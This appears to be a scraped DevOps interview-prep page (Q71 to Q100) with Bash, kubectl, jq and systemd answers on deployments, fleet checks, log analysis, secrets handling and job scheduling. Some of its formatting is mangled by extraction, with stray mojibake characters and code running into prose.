api:1.4.2, a script must update the tag in a GitOps repo and open a PR. How?Situation read โ Edit YAML structurally, commit on a branch, push, and open a PR with the CLI.
What I'd do โ
export NEW_TAG=1.4.2
git clone --depth 1 "https://x-access-token:${GH_TOKEN}@github.com/acme/gitops.git" && cd gitops
git switch -c "bump-api-$NEW_TAG"
yq -i '.image.tag = strenv(NEW_TAG)' apps/api/values-prod.yaml
git diff --quiet && { echo "already at $NEW_TAG"; exit 0; }
git -c user.name=ci-bot -c [email protected] commit -am "api: bump image to $NEW_TAG"
git push -u origin HEAD
gh pr create --title "api: $NEW_TAG to prod" --body "Automated bump from build $GITHUB_RUN_ID" --base mainyqwithstrenvkeeps formatting and avoids quoting bugs.git diff --quietmakes reruns harmless.
Why โ GitOps requires the change to land through Git with review, not via kubectl set image.
Interview tip โ Mention that tools like Argo CD Image Updater or Renovate can do this automatically.
Q72 A deploy script runs kubectl apply and must fail the pipeline, and roll back, if the rollout does not complete. Write it.
Beginner
kubectl apply and must fail the pipeline, and roll back, if the rollout does not complete. Write it.Situation read โ kubectl apply returns success as soon as the API accepts the object, not when pods are healthy.
What I'd do โ
kubectl apply -f k8s/
if ! kubectl rollout status deployment/api -n prod --timeout=180s; then
echo "rollout failed, undoing" >&2
kubectl rollout undo deployment/api -n prod
kubectl rollout status deployment/api -n prod --timeout=180s || true
exit 1
firollout statuswaits for the new ReplicaSet to be fully available and exits non-zero on timeout or progress deadline.- Set
progressDeadlineSecondsin the Deployment so Kubernetes itself marks a stuck rollout as failed.
Why โ Without waiting, CI goes green while pods crash-loop.
Interview tip โ Mention that with GitOps, rollback means reverting the Git commit, not rollout undo.
Q73 Three app servers run the same deploy script, and each tries to run database migrations at the same time. How do you ensure only one does?
Advanced
Situation read โ flock only works on one host. You need a lock that all hosts share.
What I'd do โ
- Use the database itself as the lock: Postgres advisory locks are held for the session.Most migration tools (Flyway, Liquibase, Alembic with care, golang-migrate) already take such a lock.
psql -v ON_ERROR_STOP=1 <<'SQL' SELECT pg_advisory_lock(424242); \! ./migrate up SELECT pg_advisory_unlock(424242); SQL - Or run migrations once, as a separate pipeline step or a Kubernetes Job, before rolling out app servers.
- Alternatives: a DynamoDB conditional write, Consul or etcd locks.
Why โ Concurrent migrations can apply a change twice or interleave DDL, corrupting the schema.
Interview tip โ The cleanest answer is "migrations are a separate, single step in the pipeline". Locks are a fallback.
Q74 During a deploy you show a maintenance page. If the deploy fails, the page stayed up last time. Fix the script.
Beginner
Situation read โ The removal step was at the end of the happy path, so any failure skipped it.
What I'd do โ
maintenance_on() { touch /srv/app/shared/maintenance.flag; }
maintenance_off() { rm -f /srv/app/shared/maintenance.flag; }
maintenance_on
trap maintenance_off EXIT
run_migrations
switch_release- nginx serves the page when the flag exists:
if (-f /srv/app/shared/maintenance.flag) { return 503; }with anerror_page 503. - The
EXITtrap removes it on success, failure, or Ctrl+C.
Why โ Traps make cleanup independent of which line failed.
Interview tip โ Mention that a 503 with a Retry-After header is better for clients and SEO than a 200 maintenance page.
Q75 A CI pipeline deploys to servers over SSH. The first run fails with Host key verification failed. A teammate suggests StrictHostKeyChecking=no. What do you do?
Intermediate
Host key verification failed. A teammate suggests StrictHostKeyChecking=no. What do you do?Situation read โ The runner has no known_hosts entry. Disabling checking removes protection against man-in-the-middle attacks on your deploy path.
What I'd do โ
- Store the servers' host keys as a CI variable (collected once from a trusted source, for example the instance's console output or your config management), and write them in the job:
install -d -m 0700 ~/.ssh printf '%s\n' "$KNOWN_HOSTS" > ~/.ssh/known_hosts chmod 0644 ~/.ssh/known_hosts - Load the deploy key from a secret with
ssh-agent, never write it with loose permissions. - Use
-o BatchMode=yesso failures are immediate. - For dynamic fleets, use SSH host certificates signed by your CA, and
@cert-authorityinknown_hosts.
Why โ Host key checking is the only thing proving you are talking to your server and not an attacker.
Interview tip โ Refusing StrictHostKeyChecking=no politely, with an alternative, is the answer interviewers want.
Q76 A contractor needs sudo on one server for two hours. How do you grant it so it expires automatically?
Advanced
Situation read โ Manual revocation gets forgotten. Make expiry part of the grant.
What I'd do โ
- Write a validated sudoers drop-in:
f=/etc/sudoers.d/90-tmp-contractor tmp=$(mktemp) echo 'contractor ALL=(ALL) /usr/bin/systemctl restart app, /usr/bin/journalctl' > "$tmp" visudo -cf "$tmp" && install -m 0440 "$tmp" "$f"; rm -f "$tmp" - Schedule removal with a transient systemd timer:
systemd-run --on-active=2h --unit=revoke-contractor rm -f "$f"(orat now + 2 hours). - Scope commands narrowly; avoid
ALLand anything that can spawn a shell (vi,less,find -exec). - Log the grant and the revocation with
logger.
Why โ visudo -c prevents a syntax error from breaking sudo for everyone; timed removal prevents forgotten access.
Interview tip โ Mention just-in-time access tools (Teleport, AWS SSM with IAM conditions) as the scalable version.
Q77 Report which servers in a fleet have a different version of openssl installed than the approved one.
Intermediate
openssl installed than the approved one.Situation read โ Collect versions in parallel, compare to the baseline, report drift.
What I'd do โ
approved="3.0.13-0ubuntu3.4"
ver() {
local v
v=$(ssh -n -o BatchMode=yes -o ConnectTimeout=5 "$1" "dpkg-query -W -f='\${Version}' openssl" 2>/dev/null) || v=unreachable
echo "$1 ${v:-missing}"
}
export -f ver
xargs -a hosts.txt -P 20 -I{} bash -c 'ver "$1"' _ {} |
awk -v a="$approved" '$2 != a {print "DRIFT", $0}' | sortdpkg-query -W -f='${Version}'gives a clean version string (rpm -q --qf '%{VERSION}-%{RELEASE}'on RHEL). The\$and inner single quotes keep${Version}from being expanded by either the local or the remote shell.- Unreachable hosts appear as drift so they are not silently skipped.
Why โ Version drift is how one unpatched server survives a CVE rollout.
Interview tip โ Mention AWS SSM Inventory or osquery for continuous fleet inventory.
Q78 An EC2 instance's user-data Bash script sometimes fails half-way, and you cannot see why. How do you debug and harden it?
Beginner
Situation read โ User data runs once at first boot via cloud-init, as root, with no terminal.
What I'd do โ
- Read the logs:
/var/log/cloud-init-output.log(script output) and/var/log/cloud-init.log; the script itself is at/var/lib/cloud/instance/scripts/part-001. - Add
#!/bin/bash,set -Eeuxo pipefail, and anERRtrap that logs the line. - Wait for network and package locks: retry
apt-get updatewith backoff;cloud-init status --waitin dependent steps. - Make steps idempotent so
cloud-init clean && reboot(or rerunning the script) is safe. - Signal completion or failure (for example
cfn-signal, an ASG lifecycle hook, or a tag), so failures are visible.
Why โ First-boot scripts fail on timing (network not ready, apt locks), and without logs and signals nobody notices.
Interview tip โ Mention baking images with Packer to move most of user data out of boot time.
Q79 After patching, services must be restarted in order: database, then API, then web, each healthy before the next. Script it.
Beginner
Situation read โ Ordered restart with a health gate per step, stopping on the first failure.
What I'd do โ
declare -A check=(
[postgresql]='pg_isready -q'
[api]='curl -fsS -o /dev/null --max-time 3 http://127.0.0.1:8080/readyz'
[nginx]='curl -fsS -o /dev/null --max-time 3 http://127.0.0.1/'
)
for svc in postgresql api nginx; do
systemctl restart "$svc"
for _ in {1..30}; do bash -c "${check[$svc]}" && continue 2; sleep 2; done
echo "$svc not healthy after restart, stopping" >&2; exit 1
done
echo "all services healthy"continue 2jumps to the next service once its check passes.- The array keeps order explicit (associative arrays do not preserve it; the
forlist does).
Why โ Restarting dependents before their dependency is healthy just creates a second wave of errors.
Interview tip โ Mention systemd After=/Requires= for boot ordering, and that health gating still needs a check like this.
Q80 You deploy to one canary host first and want to proceed only if its error rate is not worse than the rest. How do you script the decision?
Advanced
Situation read โ Compare canary and baseline error rates over comparable recent traffic, with a minimum request count to avoid noise.
What I'd do โ
rate() { # rate HOST -> "errors total" for the most recent 5,000 requests
ssh -n "$1" "tail -n 5000 /var/log/nginx/access.log" |
awk '{t++; if ($9 ~ /^5/) e++} END {print e+0, t+0}'
}
read -r ce ct < <(rate "$canary")
be=0 bt=0; for h in "${baseline[@]}"; do read -r e t < <(rate "$h"); be=$((be + e)); bt=$((bt + t)); done
(( ct >= 500 )) || die "canary has only $ct requests; not enough data"
awk -v ce="$ce" -v ct="$ct" -v be="$be" -v bt="$bt" \
'BEGIN {c = ce / ct; b = (bt ? be / bt : 0); printf "canary %.3f%% baseline %.3f%%\n", 100*c, 100*b
exit !(c <= b * 1.5 + 0.001)}' || { rollback "$canary"; exit 1; }
echo "canary healthy, continuing rollout"Why โ Relative comparison handles normal background errors; a minimum sample avoids judging on 10 requests.
Interview tip โ Mention that Argo Rollouts or Flagger automate this with Prometheus queries, and that latency matters as much as errors.
Scenarios: text processing and scheduling decisions
๐ฅ Learn this hands-on with DevOps Shack โ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com
Q81 Users report errors in the last hour. From the Nginx access log, find which endpoints produce the most 5xx responses.
Beginner
Situation read โ Filter by time and status, strip query strings, count per path.
What I'd do โ
since=$(date -d '1 hour ago' '+%d/%b/%Y:%H')
awk -v s="$since" '$4 >= "["s && $9 ~ /^5/ {split($7, p, "?"); print $9, p[1]}' /var/log/nginx/access.log |
sort | uniq -c | sort -rn | head -n 15- Field 9 is the status, field 7 the request path in the combined format.
- Dropping the query string groups
/api/orders?id=1and?id=2together. - The string comparison on
$4works within a single day; for windows across midnight, use epoch conversion orjournalctl --sinceif logs go to the journal.
Why โ Grouping by endpoint turns 50,000 error lines into "it is /api/checkout".
Interview tip โ Mention checking $upstream_status or upstream response time fields too, to separate nginx errors from backend errors.
Q82 A MySQL slow log is 3 GB. You need the 10 slowest query patterns. What do you do?
Intermediate
Situation read โ Raw greps show individual queries; you want patterns (normalized queries) with total and max time.
What I'd do โ
- Use the right tool first:
pt-query-digest /var/log/mysql/slow.log > report.txt(Percona Toolkit) ormysqldumpslow -s t -t 10 slow.log. - If neither is installed, extract
Query_timewith awk:awk '/^# Query_time:/ {t = $3; next} /^(SELECT|UPDATE|DELETE|INSERT)/ {q = $0; gsub(/[0-9]+/, "N", q); gsub(/'"'"'[^'"'"']*'"'"'/, "S", q) sum[q] += t; n[q]++; if (t > max[q]) max[q] = t} END {for (q in sum) printf "%.1f\t%d\t%.2f\t%s\n", sum[q], n[q], max[q], substr(q, 1, 120)}' slow.log | sort -rn | head - Run it on a copy or with
nice, not on a busy database host's disk.
Why โ Normalizing literals groups thousands of executions of the same query, which is what you optimize.
Interview tip โ Lead with pt-query-digest; reaching for the right tool beats clever awk.
Q83 Two servers that should be identical behave differently. Compare their installed packages.
Beginner
Situation read โ Generate normalized package lists from both and diff them.
What I'd do โ
pkgs() { ssh -n "$1" "dpkg-query -W -f='\${Package} \${Version}\n'" | sort; }
diff <(pkgs web1) <(pkgs web2)
# names only, regardless of version
comm -3 <(pkgs web1 | cut -d' ' -f1) <(pkgs web2 | cut -d' ' -f1)- On RHEL:
rpm -qa --qf '%{NAME} %{VERSION}-%{RELEASE}\n' | sort. - Extend to configs:
diff <(ssh web1 cat /etc/sysctl.conf) <(ssh web2 cat /etc/sysctl.conf).
Why โ Process substitution makes remote comparisons one-liners without temp files.
Interview tip โ Mention that drift like this is the argument for immutable images or config management.
Q84 Find which pods were OOMKilled in a namespace, with their container names and restart counts.
Intermediate
Situation read โ The last termination reason is in each container's status.
What I'd do โ
kubectl get pods -n prod -o json | jq -r '
.items[] | .metadata.name as $pod
| .status.containerStatuses[]?
| select(.lastState.terminated.reason == "OOMKilled")
| [$pod, .name, .restartCount, .lastState.terminated.finishedAt] | @tsv' | column -tas $podkeeps the pod name while iterating containers.[]?skips pods without container statuses (pending).- Compare with limits:
kubectl get pod POD -o jsonpath='{.spec.containers[*].resources.limits.memory}'.
Why โ OOM kills hide behind generic CrashLoopBackOff; this lists them directly.
Interview tip โ Mention that kubectl get events --field-selector reason=OOMKilling shows node-level OOMs, which are different from container limit kills.
Q85 Produce a CSV of running EC2 instances that are missing an Owner tag.
Intermediate
Owner tag.Situation read โ Tags are an array of Key/Value pairs; test for the absence of one key.
What I'd do โ
echo "region,instance_id,name,type,launch_time" > untagged.csv
for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
aws ec2 describe-instances --region "$r" --filters Name=instance-state-name,Values=running --output json |
jq -r --arg r "$r" '.Reservations[].Instances[]
| select([.Tags[]? | .Key] | index("Owner") | not)
| [$r, .InstanceId, ((.Tags // []) | from_entries | .Name // ""), .InstanceType, .LaunchTime] | @csv' >> untagged.csv
donefrom_entriesturns the Key/Value tag list into an object.@csvquotes fields correctly.
Why โ Untagged resources have no owner to ask before cost cleanup or incident response.
Interview tip โ Mention enforcing tags at creation with AWS Organizations tag policies or SCPs, rather than only reporting.
Q86 You have access logs from five web servers and need one timeline sorted by time. How?
Intermediate
Situation read โ Each file is already sorted, so merge rather than re-sort, and tag lines with their source.
What I'd do โ
- If logs use ISO 8601 timestamps at line start, a merge sort is enough:
for h in web{1..5}; do ssh -n "$h" 'cat /var/log/app/app.log' | sed "s/^/$h /" > "/tmp/$h.log"; done sort -m -k2,2 /tmp/web*.log > timeline.log - For Nginx's
[09/Nov/2026:14:23:01 +0000]format, convert to a sortable key first (epoch via gawkmktime), then sort numerically. - Make sure clocks were synchronized, or the merged timeline lies.
Why โ sort -m is linear on pre-sorted input; ISO timestamps sort correctly as strings.
Interview tip โ Say this is the argument for ISO 8601 UTC timestamps everywhere and for central logging.
Q87 A vendor needs application logs, but they contain emails and card numbers. Mask them first.
Intermediate
Situation read โ Redact with regexes, verify nothing remains, and share only what is needed.
What I'd do โ
sed -E \
-e 's/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/<email>/g' \
-e 's/\b[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{1,4}\b/<card>/g' \
-e 's/(Authorization: Bearer )[A-Za-z0-9._-]+/\1<token>/g' \
app.log > app.redacted.log
grep -cE '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}' app.redacted.log # expect 0- Verify with a second pass that searches for the patterns again.
- Reduce scope first (time window, relevant request IDs) so less data leaves.
Why โ Logs are a frequent source of PII and secrets leaks; regex redaction plus verification is the minimum.
Interview tip โ Mention fixing the root cause: applications should not log card numbers at all (PCI DSS).
Q88 Convert a .env file into a Kubernetes Secret manifest without committing plaintext.
Beginner
.env file into a Kubernetes Secret manifest without committing plaintext.Situation read โ kubectl can build the manifest; encryption must happen before it reaches Git.
What I'd do โ
kubectl create secret generic api-env --from-env-file=.env -n prod --dry-run=client -o yaml > secret.yaml
kubeseal --format yaml < secret.yaml > sealed-secret.yaml && rm -f secret.yaml # Sealed Secrets
# or: sops --encrypt --in-place secret.yaml--from-env-filehandlesKEY=valuelines and base64-encodes values.- Commit only the sealed or SOPS-encrypted file.
Why โ Kubernetes Secrets are only base64, not encryption; committing them is committing plaintext.
Interview tip โ Mention External Secrets Operator as the alternative that keeps secrets in AWS Secrets Manager or Vault.
Q89 From JSON Lines application logs, count unique users per day.
Intermediate
Situation read โ Extract (date, user) pairs, de-duplicate, count per date.
What I'd do โ
jq -r 'select(.user_id != null) | "\(.ts[0:10]) \(.user_id)"' app-*.jsonl |
sort -u | awk '{n[$1]++} END {for (d in n) print d, n[d]}' | sort.ts[0:10]slices the date from an ISO timestamp.sort -uremoves duplicate (date, user) pairs; awk counts per day.- For huge files,
LC_ALL=C sort -u -S 1G --parallel=4.
Why โ De-duplicating pairs before counting is the shell equivalent of COUNT(DISTINCT user_id) GROUP BY day.
Interview tip โ Mention handling lines that are not JSON with jq -R 'fromjson? | ...'.
Q90 Find configuration differences between the staging and prod Helm values files.
Intermediate
Situation read โ Textual diffs are noisy because of key order and formatting; normalize first.
What I'd do โ
diff <(yq -P 'sort_keys(..)' values-staging.yaml) <(yq -P 'sort_keys(..)' values-prod.yaml)
# flat path=value view, easy to read and grep
flat() { yq -o=json '.' "$1" | jq -r 'paths(scalars) as $p | "\($p | map(tostring) | join("."))=\(getpath($p))"' | sort; }
diff <(flat values-staging.yaml) <(flat values-prod.yaml)sort_keys(..)sorts keys recursively, so order does not matter.- The flattened form shows exactly which path differs (
resources.limits.memory=512Mi).
Why โ Normalized diffs show real configuration drift between environments.
Interview tip โ Mention helm diff upgrade for comparing rendered manifests against what is deployed.
Q91 You are adding a new scheduled job on Ubuntu 24.04 servers. Cron or a systemd timer?
Beginner
Situation read โ Both work; timers give more operational features on systemd hosts.
What I'd do โ
- Choose a systemd timer by default: logs in the journal,
systemctl list-timersfor next/last run,Persistent=truefor missed runs, no overlapping runs,RandomizedDelaySec=, sandboxing,OnFailure=alerting. - Choose cron when the job must be portable to non-systemd systems or containers, or the team manages crontabs centrally and the job is trivial.
- Either way: absolute paths, locking, timeouts, and logs.
Why โ Timers solve most of the classic cron pain (environment surprises, silent failures, overlaps) out of the box.
Interview tip โ Name three concrete timer advantages; "it's newer" is not an answer.
Q92 A job must run every 10 minutes, only on weekdays, between 09:00 and 18:00 IST, while servers run in UTC. Write the schedule.
Beginner
Situation read โ Express the time zone explicitly so it does not depend on the host setting.
What I'd do โ
# systemd timer
[Timer]
OnCalendar=Mon..Fri *-*-* 09..17:00/10:00 Asia/Kolkata# cronie (supports CRON_TZ)
CRON_TZ=Asia/Kolkata
*/10 9-17 * * 1-5 /opt/jobs/sync.sh09..17with every 10 minutes ends at 17:50; add18:00separately if the last run must be at 18:00.- Verify:
systemd-analyze calendar --iterations=5 'Mon..Fri *-*-* 09..17:00/10:00 Asia/Kolkata'.
Why โ Explicit time zones remove ambiguity, and validating the expression avoids surprises.
Interview tip โ Mention that Debian's Vixie cron ignores CRON_TZ, so test which cron you have.
Q93 You must migrate 40 crontab entries from a legacy server to systemd timers. How do you do it safely?
Advanced
Situation read โ Each job has implicit behaviour (environment, user, output mailing) that must be preserved or replaced deliberately.
What I'd do โ
- Inventory:
crontab -l -ufor every user,/etc/crontab,/etc/cron.d/*,/etc/cron.*/; record schedule, user, command, environment lines (PATH,MAILTO,SHELL). - For each job, create
job.service(Type=oneshot,User=,Environment=orEnvironmentFile=,WorkingDirectory=) andjob.timerwith an equivalentOnCalendar=, verified withsystemd-analyze calendar. - Replace
MAILTOwithOnFailure=alerting; dropflockwrappers (timers do not overlap), keeptimeoutbehaviour viaTimeoutStartSec=. - Generate units with a script or Ansible template from the inventory, not by hand.
- Cut over in batches: enable the timer, comment the cron line in the same change, compare a few runs (
journalctl -u job) with previous behaviour. - Keep the old crontab backed up for rollback.
Why โ Most migration bugs come from environment differences and lost failure emails.
Interview tip โ Mention testing each service with systemctl start job.service before enabling its timer.
Q94 A cleanup job runs from cron on all 3 nodes of a cluster but must execute on exactly one. How do you do it?
Advanced
Situation read โ Local locks do not coordinate across hosts. You need leader election or a shared lock.
What I'd do โ
- Simplest: schedule it in one place (a single admin host, a Kubernetes CronJob with
concurrencyPolicy: Forbid, or a CI schedule). - If it must run from the nodes, use a shared lock with a TTL:
# DynamoDB conditional put as a lock that expires after 30 minutes now=$(date +%s) aws dynamodb put-item --table-name locks \ --item "{\"id\":{\"S\":\"cleanup\"},\"owner\":{\"S\":\"$(hostname)\"},\"exp\":{\"N\":\"$((now + 1800))\"}}" \ --condition-expression 'attribute_not_exists(id) OR exp < :now' \ --expression-attribute-values "{\":now\":{\"N\":\"$now\"}}" 2>/dev/null || exit 0 - Or a Postgres advisory lock, Consul
consul lock, or etcd. - Make the job idempotent anyway, in case two runs happen.
Why โ A distributed lock with expiry avoids both double runs and a stuck lock after a crash.
Interview tip โ Lead with "move the schedule to one place"; it is simpler than any lock.
Q95 A cron job on 500 servers uploads metrics to an API at 0 * * * *. The API rate-limits and many uploads fail. Fix it.
Intermediate
0 * * * *. The API rate-limits and many uploads fail. Fix it.Situation read โ Thundering herd: every host fires at exactly the same second.
What I'd do โ
- With systemd timers:
RandomizedDelaySec=15minand, on recent systemd,FixedRandomDelay=trueso each host gets a stable offset. - With cron: a stable per-host delay derived from the hostname:
delay=$(( $(hostname | cksum | cut -d' ' -f1) % 900 )) sleep "$delay" - Add retries with exponential backoff and jitter on HTTP 429.
- Ask whether pull-based collection (Prometheus scraping) fits better than push.
Why โ Spreading 500 requests across 15 minutes turns a spike into a trickle.
Interview tip โ Mention a stable offset over a random one, so each host's run time is predictable for debugging.
Q96 After a daylight-saving change, a 02:30 job ran twice on one day and not at all on another. How do you prevent this?
Intermediate
Situation read โ In time zones with DST, 02:30 does not exist on the spring-forward day and occurs twice on the fall-back day. Cron implementations handle this differently.
What I'd do โ
- Run servers in UTC (
timedatectl set-timezone UTC), which has no DST. - If a local time is a business requirement, use
OnCalendar=*-*-* 02:30:00 UTCstyle explicit zones, or schedule outside the 01:00โ03:00 window. - Make the job idempotent (date-stamped outputs, "already done today" check) so a double run is harmless.
Why โ DST bugs only appear twice a year, which makes them hard to catch in testing.
Interview tip โ Say "servers run in UTC" as a standard, and convert to local time only for display.
Q97 A scheduled report job sometimes runs for hours and piles up. It must be killed if it exceeds one hour. How?
Beginner
Situation read โ Enforce a hard limit at the scheduler level and handle the timeout clearly.
What I'd do โ
- systemd:
TimeoutStartSec=1hin aType=oneshotservice; systemd sendsSIGTERM, thenSIGKILLafterTimeoutStopSec, and marks the run failed (Failed with result 'timeout'). - cron:
flock -n /run/lock/report.lock timeout -k 60 1h /opt/jobs/report.sh. - In the script, trap
TERMto clean up partial output. - Alert on timeouts separately from errors, and investigate why it got slow.
Why โ A hard limit stops runaway jobs from stacking up and exhausting resources.
Interview tip โ Mention timeout's exit code 124 so the wrapper can report "timed out" accurately.
Q98 A scheduled job needs a database password. Where do you put it for cron and for systemd?
Intermediate
Situation read โ Keep it out of the crontab line, the unit file (world-readable in /etc/systemd/system), the script and Git.
What I'd do โ
- Cron: a file readable only by the job's user (
install -m 0600 -o jobuser), read at runtime:DB_PASS=$(< /etc/jobs/db_pass), or a tool-specific file like~/.pgpass. - systemd 247+: credentials, which are exposed only to the service:The script reads
[Service] LoadCredential=db_pass:/etc/jobs/db_pass ExecStart=/opt/jobs/report.sh"$CREDENTIALS_DIRECTORY/db_pass".LoadCredentialEncrypted=can keep it encrypted at rest with the TPM or host key. - Cloud: fetch from AWS Secrets Manager or SSM Parameter Store with the instance role at runtime.
- Never use
Environment=DB_PASS=...in a unit file;systemctl showreveals it.
Why โ Each option limits who can read the secret and keeps it out of version control.
Interview tip โ Mentioning LoadCredential= shows current systemd knowledge.
Q99 Management wants a weekly email with disk usage of all servers as an HTML table. How do you build it?
Beginner
Situation read โ Collect data, render HTML with a here-doc, send with a mail tool.
What I'd do โ
{
cat <<'HTML'
<html><body><h3>Weekly disk usage</h3><table border="1" cellpadding="4">
<tr><th>Host</th><th>Mount</th><th>Used</th><th>Size</th><th>Use%</th></tr>
HTML
for h in "${hosts[@]}"; do
ssh -n -o ConnectTimeout=5 "$h" 'df -hP -x tmpfs -x devtmpfs' | awk -v h="$h" 'NR > 1 {
style = ($5+0 >= 85) ? " style=\"background:#fdd\"" : ""
printf "<tr%s><td>%s</td><td>%s</td><td>%s</td><td>%s</td><td>%s</td></tr>\n", style, h, $6, $3, $2, $5}'
done
echo '</table></body></html>'
} > /tmp/disk-report.html
mail -a 'Content-Type: text/html' -s "Disk usage $(date +%F)" [email protected] < /tmp/disk-report.html- The
mail -aheader syntax is for GNU Mailutils; s-nail and msmtp differ, so test on your distro. - Highlight rows above 85% so readers see problems at a glance.
Why โ A here-doc plus awk is enough for simple HTML; no templating engine needed.
Interview tip โ Mention that a Grafana dashboard with alerts is better than an email nobody reads, but reports still have their place.
Q100 You need to scan 50 GB of compressed logs for a request ID during an incident, as fast as possible. How?
Advanced
Situation read โ I/O and decompression are the bottlenecks; parallelize across files and use the fastest matching mode.
What I'd do โ
find /var/log/app -name '*.gz' -print0 |
xargs -0 -P "$(nproc)" -n 4 zgrep -F -H -- 'req-7f3a9c' > /tmp/hits.txt-Ffixed-string matching is much faster than regex;LC_ALL=Cspeeds it up further.-P $(nproc)runs one decompressor per core;-n 4batches files.- Narrow by time first (file names or mtime) to read less data.
- If installed,
rg -z -F(ripgrep) searches compressed files in parallel by itself. - Run with
niceon a production host, or copy logs elsewhere.
Why โ Parallel decompression typically scales nearly linearly with cores until disk throughput becomes the limit.
Interview tip โ Mention that this is the moment you wish logs were in a central, indexed system, and say how you would make that case after the incident.